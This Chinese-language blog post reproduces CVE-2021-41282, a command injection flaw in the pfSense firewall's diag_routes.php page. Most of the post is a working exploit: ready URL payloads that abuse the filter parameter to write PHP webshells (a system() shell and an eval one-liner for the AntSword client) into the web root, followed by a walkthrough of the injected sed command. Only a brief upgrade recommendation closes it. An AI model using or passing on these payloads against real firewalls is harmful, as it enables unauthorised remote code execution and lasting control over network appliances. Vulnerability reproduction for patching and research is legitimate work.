Pfsense漏洞复现(CVE-2021-41282)
一、产品介绍:
pfSense® Plus 软件是世界上最值得信赖的防火墙。 该软件赢得了全球用户的尊重和喜爱——安装次数超过 300 万次。 开源技术使之成为可能。 由 Netgate 制成坚固、可靠、可靠的产品
产品官网:
https://www.pfsense.org/
二、漏洞概述:
pfSense 允许经过身份验证的用户获取有关防火墙中设置的路由的信息。 信息是通过执行 netstat实用程序,然后通过 sed调用执行。 虽然命令注入的常见预防模式(即使用 escapeshellarg参数的函数)正在使用中,但是仍然可以注入 sed- 特定代码并在任意位置写入任意文件。 由于易受攻击的端点也容易受到跨站点请求伪造 (CSRF) 的攻击,因此也可以利用此漏洞进行预身份验证。
三、漏洞详情:
CVE编号 | CVE-2021-41282 |
漏洞类型 | 远程代码执行 |
威胁等级 | 高危 |
影响版本 | pfSense CE version <= 2.5.2 pfSense Plush version < 22.01 |
四、漏洞复现:
复现环境:
下载地址: Tags · pfsense/pfsense · GitHub
Pfsense版本: 2.5.1
操作系统: FreeBSD Linux
漏洞位于diag_routes.php页面,在做filter参数接收时没有对输入的参数进行严格的过滤导致产生的命令执行
在对diag_routes.php发起一个请求时,如果没有IPV6的请求参数,初始执行的命令如下所示:
/usr/bin/netstat –Rw –f inet 这样,再次请求filter参数就会在后面拼接上命令,利用的payload如下所示:
/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23
漏洞利用的前提是需要进行登录,登录之后再次请求该链接就会在网站根路径下生成一个webshell的文件
我们再次访问该文件,发现已经生成成功了
使用参数即可执行命令
可以稍作修改,替换成一句话,使用蚁剑连接
/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+\@eval($_POST[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/shell.php%0a%23
所以最后生成的命令就是:
/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,\$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php #/!d; };'
参数讲解:
netstat –rW #获取路由并且不使用truncate跟踪
netstat –f inet #AF默认会使用inet(DARPA Internet),inet是支持的路由格式
sed –e ‘1,3d’; #筛选结果,将1,3行删除不显示,就是显示1,3行之外的所有内容
在sed当中可以使用s/match/replace和w/path/to/files来进行写入
s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php
这一段内容就是将netstat结果中的Destination替换为,再写入到/usr/local/www/a.php文件当中
将前面的参数闭合使用#注释掉后面的/!d};进行执行
五、修复建议:
将 pfSense CE 升级到 2.6.0 版或将 pfSense Plus 升级到 22.01 版
来源地址:https://blog.csdn.net/qq_69775412/article/details/125292589
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341